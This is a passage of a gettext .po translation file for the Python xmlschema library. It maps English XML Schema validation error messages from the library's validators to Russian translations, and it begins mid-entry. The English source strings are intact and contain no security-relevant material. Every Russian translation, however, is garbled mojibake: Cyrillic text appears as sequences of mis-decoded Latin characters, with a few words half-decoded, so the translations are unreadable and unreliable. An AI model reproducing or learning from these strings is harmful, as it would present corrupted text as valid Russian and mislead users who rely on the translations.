ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ Đ´Đ»Ñ Đ¿Ñ€Đ¾Đ²ĐµÑ€ĐºĐ¸" #: xmlschema/validators/elements.py:667 xmlschema/validators/identities.py:219 msgid "selector xpath expression can only select elements" msgstr "Đ²Ñ‹Ñ€Đ°Đ¶ĐµĐ½Đ¸Đµ selector xpath Đ¼Đ¾Đ¶ĐµÑ‚ Đ²Ñ‹Đ±Đ¸Ñ€Đ°Ñ‚ÑŒ Ñ‚Đ¾Đ»ÑŒĐºĐ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Ñ‹" #: xmlschema/validators/elements.py:673 #, python-format msgid "usage of %r is blocked" msgstr "иÑĐ¿Đ¾Đ»ÑŒĐ·Đ¾Đ²Đ°Đ½Đ¸Đµ %r Đ·Đ°Đ±Đ»Đ¾ĐºĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ¾" #: xmlschema/validators/elements.py:677 #, python-format msgid "%r is abstract" msgstr "%r ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ°Đ±ÑÑ‚Ñ€Đ°ĐºÑ‚Đ½Ñ‹Đ¼" #: xmlschema/validators/elements.py:705 msgid "element is not nillable" msgstr "ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ Đ½Đµ nillable" #: xmlschema/validators/elements.py:708 msgid "xsi:nil attribute must have a boolean value" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ xsi:nil Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ±ÑƒĐ»ĐµĐ²Ñ‹Đ¼" #: xmlschema/validators/elements.py:713 msgid "xsi:nil='true' but the element has a fixed value" msgstr "xsi:nil='true', Đ½Đ¾ у ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ° еÑть Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ" #: xmlschema/validators/elements.py:716 msgid "xsi:nil='true' but the element is not empty" msgstr "xsi:nil='true', Đ½Đ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ Đ½Đµ Đ¿ÑƒÑÑ‚Đ¾Đ¹" #: xmlschema/validators/elements.py:722 msgid "character data is not allowed because content is empty" msgstr "ÑĐ¸Đ¼Đ²Đ¾Đ»ÑŒĐ½Ñ‹Đµ Đ´Đ°Đ½Đ½Ñ‹Đµ Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Ñ‹, Đ¿Đ¾Ñ‚Đ¾Đ¼Ñƒ Ñ‡Ñ‚Đ¾ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đµ Đ¿ÑƒÑÑ‚Đ¾" #: xmlschema/validators/elements.py:744 xmlschema/validators/elements.py:760 #, python-format msgid "must have the fixed value %r" msgstr "Đ´Đ¾Đ»Đ¶Đ½Đ¾ ÑĐ¾Đ´ĐµÑ€Đ¶Đ°Ñ‚ÑŒ Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ %r" #: xmlschema/validators/elements.py:749 msgid "a simple content element can't have child elements" msgstr "ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ Ñ Đ¿Ñ€Đ¾ÑÑ‚Ñ‹Đ¼ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ¾Đ¼ Đ½Đµ Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ¸Đ¼ĐµÑ‚ÑŒ Đ´Đ¾Ñ‡ĐµÑ€Đ½Đ¸Đµ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Ñ‹" #: xmlschema/validators/elements.py:778 xmlschema/validators/attributes.py:237 msgid "" "cannot validate against xs:NOTATION directly, only against a subtype with an " "enumeration facet" msgstr "" "Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Đ¿Ñ€Đ¾Đ²ĐµÑ€Đ¸Ñ‚ÑŒ xs:NOTATION Đ½Đ°Đ¿Ñ€ÑĐ¼ÑƒÑ, Ñ‚Đ¾Đ»ÑŒĐºĐ¾ Ñ‡ĐµÑ€ĐµĐ· Đ¿Đ¾Đ´Ñ‚Đ¸Đ¿ Ñ " "Đ¿ĐµÑ€ĐµÑ‡Đ¸ÑĐ»ĐµĐ½Đ¸ĐµĐ¼" #: xmlschema/validators/elements.py:782 xmlschema/validators/attributes.py:241 msgid "missing enumeration facet in xs:NOTATION subtype" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¿ĐµÑ€ĐµÑ‡Đ¸ÑĐ»ĐµĐ½Đ¸Đµ Đ² Đ¿Đ¾Đ´Ñ‚Đ¸Đ¿Đµ xs:NOTATION" #: xmlschema/validators/elements.py:1245 msgid "test attribute missing in non-final alternative" msgstr "Ñ‚ĐµÑÑ‚Đ¾Đ²Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ² Đ½Đµ Đ¾ĐºĐ¾Đ½Ñ‡Đ°Ñ‚ĐµĐ»ÑŒĐ½Đ¾Đ¹ Đ°Đ»ÑŒÑ‚ĐµÑ€Đ½Đ°Ñ‚Đ¸Đ²Đµ" #: xmlschema/validators/elements.py:1370 msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}" msgstr "Đ’Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾, Ñ‚Đ°Đ±Đ»Đ¸Ñ†Đ° Đ½ĐµÑĐºĐ²Đ¸Đ²Đ°Đ»ĐµĐ½Ñ‚Đ½Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ° Đ¼ĐµĐ¶Đ´Ñƒ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°Đ¼Đ¸ {0!r} и {1!r}" #: xmlschema/validators/elements.py:1446 msgid "missing 'type' attribute" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'type'" #: xmlschema/validators/elements.py:1454 msgid "declared type is not derived from {!r}" msgstr "Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Đ¼ Đ¾Ñ‚ {!r}" #: xmlschema/validators/elements.py:1464 msgid "type {0!r} is not derived from {1!r}" msgstr "Ñ‚Đ¸Đ¿ {0!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Đ¼ Đ¾Ñ‚ {1!r}" #: xmlschema/validators/elements.py:1469 #, python-format msgid "" "the attribute 'type' and the xs:%s local declaration are mutually exclusive" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'type' и xs:%s ÑĐ²Đ»ÑÑÑ‚ÑÑ Đ²Đ·Đ°Đ¸Đ¼Đ¾Đ¸ÑĐºĐ»ÑÑ‡Đ°ÑÑ‰Đ¸Đ¼Đ¸" #: xmlschema/validators/global_maps.py:77 msgid "global {0} with name={1!r} is already defined" msgstr "Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Ñ‹Đ¹ {0} Ñ name={1!r} ÑƒĐ¶Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½" #: xmlschema/validators/global_maps.py:90 msgid "multiple redefinition for {0} {1!r}" msgstr "Đ¼Đ½Đ¾Đ¶ĐµÑÑ‚Đ²ĐµĐ½Đ½Đ¾Đµ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ Đ´Đ»Ñ {0} {1!r}" #: xmlschema/validators/global_maps.py:102 msgid "circular redefinition for {0} {1!r}" msgstr "Ñ†Đ¸ĐºĐ»Đ¸Ñ‡ĐµÑĐºĐ¾Đµ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ Đ´Đ»Ñ {0} {1!r}" #: xmlschema/validators/global_maps.py:117 msgid "not a redefinition!" msgstr "Đ½Đµ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ!" #: xmlschema/validators/global_maps.py:234 msgid "wrong tag {!r} for an XSD global definition/declaration" msgstr "Đ½ĐµĐ²ĐµÑ€Đ½Ñ‹Đ¹ Ñ‚ĐµĐ³ {!r} Đ´Đ»Ñ Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ³Đ¾ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Ñ XSD" #: xmlschema/validators/global_maps.py:313 #: xmlschema/validators/global_maps.py:330 msgid "wrong element {0!r} for map {1!r}" msgstr "Đ½ĐµĐ²ĐµÑ€Đ½Ñ‹Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ {0!r} Đ´Đ»Ñ ĐºĐ°Ñ€Ñ‚Ñ‹ {1!r}" #: xmlschema/validators/global_maps.py:339 msgid "redefined schema {!r} has a different targetNamespace" msgstr "Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ½Đ°Ñ ÑÑ…ĐµĐ¼Đ° {!r} Đ¸Đ¼ĐµĐµÑ‚ Đ´Ñ€ÑƒĐ³Đ¾Đµ Ñ†ĐµĐ»ĐµĐ²Đ¾Đµ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½" #: xmlschema/validators/global_maps.py:350 msgid "unexpected instance {!r} in global map" msgstr "Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€ {!r} Đ² Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ¹ ĐºĐ°Ñ€Ñ‚Đµ" #: xmlschema/validators/global_maps.py:382 msgid "{0!r} cannot substitute {1!r}" msgstr "{0!r} Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ·Đ°Đ¼ĐµĐ½Đ¸Ñ‚ÑŒ {1!r}" #: xmlschema/validators/global_maps.py:578 msgid "missing XSD namespace in meta-schema instance {!r}" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ XSD Đ² ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€Đµ Đ¼ĐµÑ‚Đ°ÑÑ…ĐµĐ¼Ñ‹ {!r}" #: xmlschema/validators/global_maps.py:587 msgid "missing default meta-schema instance {!r}" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€ Đ¼ĐµÑ‚Đ°ÑÑ…ĐµĐ¼Ñ‹ Đ¿Đ¾ ÑƒĐ¼Đ¾Đ»Ñ‡Đ°Đ½Đ¸Ñ {!r}" #: xmlschema/validators/global_maps.py:639 msgid "defaultAttributes={0!r} doesn't match any attribute group of {1!r}" msgstr "defaultAttributes={0!r} Đ½Đµ ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²ÑƒÑÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ°Đ¼ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ {1!r}" #: xmlschema/validators/global_maps.py:682 msgid "global element not built!" msgstr "Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Ñ‹Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ Đ½Đµ ÑĐ¾Đ·Đ´Đ°ĐµÑ‚ÑÑ!" #: xmlschema/validators/global_maps.py:684 msgid "circularity found for substitution group with head element {}" msgstr "Đ¾Đ±Đ½Đ°Ñ€ÑƒĐ¶ĐµĐ½Đ° Ñ†Đ¸ĐºĐ»Đ¸Ñ‡Đ½Đ¾Ñть Đ´Đ»Ñ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ Đ·Đ°Đ¼ĐµÑ‰ĐµĐ½Đ¸Ñ Ñ Đ³Đ¾Đ»Đ¾Đ²Đ½Ñ‹Đ¼ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ¼ {}" #: xmlschema/validators/global_maps.py:689 #, python-format msgid "global map has unbuilt components: %r" msgstr "Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ°Ñ ĐºĐ°Ñ€Ñ‚Đ° Đ¸Đ¼ĐµĐµÑ‚ Đ½ĐµÑĐ¾Đ±Ñ€Đ°Đ½Đ½Ñ‹Đµ ĐºĐ¾Đ¼Đ¿Đ¾Đ½ĐµĐ½Ñ‚Ñ‹: %r" #: xmlschema/validators/global_maps.py:694 msgid "global group not built!" msgstr "Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ°Ñ Đ³Ñ€ÑƒĐ¿Đ¿Đ° Đ½Đµ ÑĐ¾Đ·Đ´Đ°ĐµÑ‚ÑÑ!" #: xmlschema/validators/global_maps.py:701 msgid "the redefined group is an illegal restriction" msgstr "Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ½Đ°Ñ Đ³Ñ€ÑƒĐ¿Đ¿Đ° ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Ñ‹Đ¼ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸ĐµĐ¼" #: xmlschema/validators/global_maps.py:717 msgid "the derived group is an illegal restriction" msgstr "Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Đ°Ñ Đ³Ñ€ÑƒĐ¿Đ¿Đ° ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Ñ‹Đ¼ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸ĐµĐ¼" #: xmlschema/validators/global_maps.py:727 msgid "restriction has an open content but base type has not" msgstr "Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Đ¸Đ¼ĐµĐµÑ‚ Đ¾Ñ‚ĐºÑ€Ñ‹Ñ‚Ñ‹Đ¹ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚, Đ½Đ¾ Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ½Đµ Đ¸Đ¼ĐµĐµÑ‚" #: xmlschema/validators/global_maps.py:733 msgid "" "can't verify the content model of {!r} due to exceeding of maximum recursion " "depth" msgstr "" "Đ½Đµ ÑƒĐ´Đ°ĐµÑ‚ÑÑ Đ¿Ñ€Đ¾Đ²ĐµÑ€Đ¸Ñ‚ÑŒ Đ¼Đ¾Đ´ĐµĐ»ÑŒ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đ³Đ¾ {!r} из-за Đ¿Ñ€ĐµĐ²Ñ‹ÑˆĐµĐ½Đ¸Ñ Đ¼Đ°ĐºÑĐ¸Đ¼Đ°Đ»ÑŒĐ½Đ¾Đ¹ " "Đ³Đ»ÑƒĐ±Đ¸Đ½Ñ‹ Ñ€ĐµĐºÑƒÑ€Ñии" #: xmlschema/validators/facets.py:63 msgid "invalid type {!r} provided" msgstr "Đ½ĐµĐ²ĐµÑ€Đ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ {!r}" #: xmlschema/validators/facets.py:84 msgid "{0!r} facet value is fixed to {1!r}" msgstr "{0!r} Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đ°Đ±Đ¾Ñ€Đ° Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ¾ {1!r}" #: xmlschema/validators/facets.py:135 xmlschema/validators/facets.py:138 msgid "facet value can be only 'collapse'" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đ°Đ±Đ¾Ñ€Đ° Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Ñ‚Đ¾Đ»ÑŒĐºĐ¾ 'collapse'" #: xmlschema/validators/facets.py:140 msgid "facet value can be only 'replace' or 'collapse'" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đ°Đ±Đ¾Ñ€Đ° Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Ñ‚Đ¾Đ»ÑŒĐºĐ¾ 'replace' или 'collapse'" #: xmlschema/validators/facets.py:145 msgid "value contains tabs or newlines" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Ñ‚ Ñ‚Đ°Đ±ÑƒĐ»ÑÑ†Đ¸Ñ Đ¸Đ»Đ¸ Đ¿ĐµÑ€ĐµĐ½Đ¾ÑÑ‹ ÑÑ‚Ñ€Đ¾Đº" #: xmlschema/validators/facets.py:151 msgid "value contains non collapsed white spaces" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Ñ‚ Đ»Đ¸ÑˆĐ½Đ¸Đµ Đ¿Ñ€Đ¾Đ±ĐµĐ»Ñ‹" #: xmlschema/validators/facets.py:175 msgid "base facet has a different length ({})" msgstr "Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Đ½Đ°Đ±Đ¾Ñ€ Đ¸Đ¼ĐµĐµÑ‚ Đ¾Ñ‚Đ»Đ¸Ñ‡Đ°ÑщуÑÑÑ Đ´Đ»Đ¸Đ½Ñƒ ({})" #: xmlschema/validators/facets.py:185 msgid "length has to be {!r}" msgstr "Đ´Đ»Đ¸Đ½Đ° Đ´Đ¾Đ»Đ¶Đ½Đ° Đ±Ñ‹Ñ‚ÑŒ {!r}" #: xmlschema/validators/facets.py:209 msgid "base facet has a greater min length ({})" msgstr "Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Đ½Đ°Đ±Đ¾Ñ€ Đ¸Đ¼ĐµĐµÑ‚ Đ±Đ¾Đ»ÑŒÑˆÑƒÑ Đ¼Đ¸Đ½Đ¸Đ¼Đ°Đ»ÑŒĐ½ÑƒÑ Đ´Đ»Đ¸Đ½Ñƒ ({})" #: xmlschema/validators/facets.py:219 msgid "value length cannot be lesser than {!r}" msgstr "Đ´Đ»Đ¸Đ½Đ° Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Ñ Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ Ñ‡ĐµĐ¼ {!r}" #: xmlschema/validators/facets.py:243 msgid "base type has a lesser max length ({})" msgstr "Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ¸Đ¼ĐµĐµÑ‚ Đ¼ĐµĐ½ÑŒÑˆÑƒÑ Đ¼Đ°ĐºÑĐ¸Đ¼Đ°Đ»ÑŒĐ½ÑƒÑ Đ´Đ»Đ¸Đ½Ñƒ ({})" #: xmlschema/validators/facets.py:253 msgid "value length cannot be greater than {!r}" msgstr "Đ´Đ»Đ¸Đ½Đ° Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Ñ Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ±Đ¾Đ»ÑŒÑˆĐµ Ñ‡ĐµĐ¼ {!r}" #: xmlschema/validators/facets.py:276 xmlschema/validators/facets.py:307 #: xmlschema/validators/facets.py:342 xmlschema/validators/facets.py:373 msgid "invalid restriction: {}" msgstr "Đ½ĐµĐ²ĐµÑ€Đ½Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ: {}" #: xmlschema/validators/facets.py:281 msgid "value has to be greater or equal than {!r}" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ±Đ¾Đ»ÑŒÑˆĐµ или Ñ€Đ°Đ²Đ½Đ¾ {!r}" #: xmlschema/validators/facets.py:311 msgid "invalid restriction: {} is also the maximum" msgstr "Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ: {} Ñ‚Đ°ĐºĐ¶Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¼Đ°ĐºÑĐ¸Đ¼Đ°Đ»ÑŒĐ½Ñ‹Đ¼" #: xmlschema/validators/facets.py:317 msgid "value has to be greater than {!r}" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ±Đ¾Đ»ÑŒÑˆĐµ {!r}" #: xmlschema/validators/facets.py:347 msgid "value has to be less than or equal than {!r}" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ или Ñ€Đ°Đ²Đ½Đ¾ {!r}" #: xmlschema/validators/facets.py:377 msgid "invalid restriction: {} is also the minimum" msgstr "Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ: {} Ñ‚Đ°ĐºĐ¶Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¼Đ¸Đ½Đ¸Đ¼Đ°Đ»ÑŒĐ½Ñ‹Đ¼" #: xmlschema/validators/facets.py:383 msgid "value has to be lesser than {!r}" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ {!r}" #: xmlschema/validators/facets.py:418 xmlschema/validators/facets.py:475 msgid "invalid restriction: base value is lower ({})" msgstr "Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ: Đ±Đ°Đ·Đ¾Đ²Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ¼ĐµĐ½ÑŒÑˆĐµ ({})" #: xmlschema/validators/facets.py:428 msgid "the number of digits has to be lesser or equal than {!r}" msgstr "ĐºĐ¾Đ»Đ¸Ñ‡ĐµÑÑ‚Đ²Đ¾ Ñ†Đ¸Ñ„Ñ€ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ или Ñ€Đ°Đ²Đ½Đ¾ {!r}" #: xmlschema/validators/facets.py:456 msgid "" "fractionDigits facet can be applied only to types derived from xs:decimal" msgstr "" "Đ½Đ°Đ±Đ¾Ñ€ fractionDigits Đ¼Đ¾Đ¶Đ½Đ¾ Đ¿Ñ€Đ¸Đ¼ĐµĐ½Ñть Ñ‚Đ¾Đ»ÑŒĐºĐ¾ Đº Ñ‚Đ¸Đ¿Đ°Đ¼, Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Đ¼ Đ¾Ñ‚ xs:" "decimal" #: xmlschema/validators/facets.py:470 msgid "fractionDigits facet value must be 0 for types derived from xs:integer" msgstr "" "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đ°Đ±Đ¾Ñ€Đ° fractionDigits Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ 0 Đ´Đ»Ñ Ñ‚Đ¸Đ¿Đ¾Đ², Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Ñ… Đ¾Ñ‚ xs:" "integer" #: xmlschema/validators/facets.py:485 msgid "the number of fraction digits has to be lesser or equal than {!r}" msgstr "ĐºĐ¾Đ»Đ¸Ñ‡ĐµÑÑ‚Đ²Đ¾ Ñ†Đ¸Ñ„Ñ€ Đ¿Đ¾Ñле Đ·Đ°Đ¿ÑÑ‚Đ¾Đ¹ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ или Ñ€Đ°Đ²Đ½Đ¾ {!r}" #: xmlschema/validators/facets.py:517 msgid "invalid restriction from {!r}" msgstr "Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Đ¾Ñ‚ {!r}" #: xmlschema/validators/facets.py:522 msgid "time zone required for value {!r}" msgstr "Ñ‚Đ°Đ¹Đ¼Đ·Đ¾Đ½Đ° Đ¾Đ±ÑĐ·Đ°Ñ‚ĐµĐ»ÑŒĐ½Đ° Đ´Đ»Ñ {!r}" #: xmlschema/validators/facets.py:527 msgid "time zone prohibited for value {!r}" msgstr "Ñ‚Đ°Đ¹Đ¼Đ·Đ¾Đ½Đ° Đ·Đ°Đ¿Ñ€ĐµÑ‰ĐµĐ½Đ° Đ´Đ»Ñ {!r}" #: xmlschema/validators/facets.py:571 msgid "value {!r} must match a notation declaration" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {!r} Đ´Đ¾Đ»Đ¶Đ½Đ¾ ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²Đ¾Đ²Đ°Ñ‚ÑŒ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Ñ Đ½Đ¾Ñ‚Đ°Ñ†Đ¸Đ¸" #: xmlschema/validators/facets.py:629 msgid "value must be one of {!r}" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¾Đ´Đ½Đ¸Đ¼ из {!r}" #: xmlschema/validators/facets.py:725 msgid "value doesn't match any pattern of {!r}" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đµ ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²ÑƒĐµÑ‚ Đ½Đ¸ Đ¾Đ´Đ½Đ¾Đ¼Ñƒ ÑˆĐ°Đ±Đ»Đ¾Đ½Ñƒ {!r}" #: xmlschema/validators/facets.py:789 msgid "missing attribute 'test'" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'test'" #: xmlschema/validators/facets.py:819 msgid "value is not true with test path {!r}" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½ĐµĐ²ĐµÑ€Đ½Đ¾ Ñ Ñ‚ĐµÑÑ‚Đ¾Đ²Ñ‹Đ¼ Đ¿ÑƒÑ‚ĐµĐ¼ {!r}" #: xmlschema/validators/attributes.py:82 msgid "unknown attribute {!r}" msgstr "Đ½ĐµĐ¸Đ·Đ²ĐµÑÑ‚Đ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}" #: xmlschema/validators/attributes.py:97 msgid "referenced attribute has a different fixed value {!r}" msgstr "ÑÑÑ‹Đ»Đ¾Ñ‡Đ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ Đ¸Đ¼ĐµĐµÑ‚ Đ´Ñ€ÑƒĐ³Đ¾Đµ Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {!r}" #: xmlschema/validators/attributes.py:102 msgid "attribute {!r} is not allowed when attribute reference is used" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r} Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½, ĐºĐ¾Đ³Đ´Đ° иÑĐ¿Đ¾Đ»ÑŒĐ·ÑƒĐµÑ‚ÑÑ ÑÑÑ‹Đ»ĐºĐ° Đ½Đ° Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚" #: 